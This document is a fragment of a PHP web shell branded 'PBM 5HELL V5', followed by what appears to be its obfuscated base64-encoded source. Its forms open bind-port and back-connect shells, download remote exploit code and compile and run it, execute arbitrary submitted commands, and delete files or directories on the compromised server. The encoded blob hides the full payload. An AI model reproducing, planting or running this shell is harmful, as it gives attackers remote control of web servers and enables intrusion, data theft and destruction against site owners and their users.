   <tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> 
   <input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form> </table> </td> 
   <td> <table> <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit"> <tr><td>IP</td>
   <td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr> 
   <tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use">
   <option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form> </table> </td> 
   <td> <table> <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit"> <tr><td>url</td>
   <td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr> 
   <tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr> 
   <tr><td><select size="1" class="inputz" name="pilihan"> 
   <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2">
   <input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form> </table> </td> </tr> </table> 
   <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div> <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?> <form action="?y=<?php echo $pwd; ?>&amp;x=shell" method="post"> <table class="cmdbox"> <tr><td colspan="2"> <textarea class="output"> <?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']); } ?> </textarea> 
   <tr><td colspan="2"><?php echo $prompt; ?> <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:6%;" /></td></tr> </table> </form> <?php } else { if(isset($_GET['delete']) && ($_GET['delete'] != "")){ $file = $_GET['delete']; @unlink($file); } elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){ @rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR)); } elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){ $path = $pwd.$_GET['mkdir']; @mkdir($path); } $buff = showdir($pwd,$prompt); echo $buff; } ?> 
<?php
echo '<center><div class="tabnet"><b>-=[[ PBM 5HELL V5 ]]=-</b><br>Recoded By KEFIEX404<br><span class="olenk4">Remodif by OL3NK_T34</span></div>';

Did this file decode correctly?

Original Code

<?php
$sempax = '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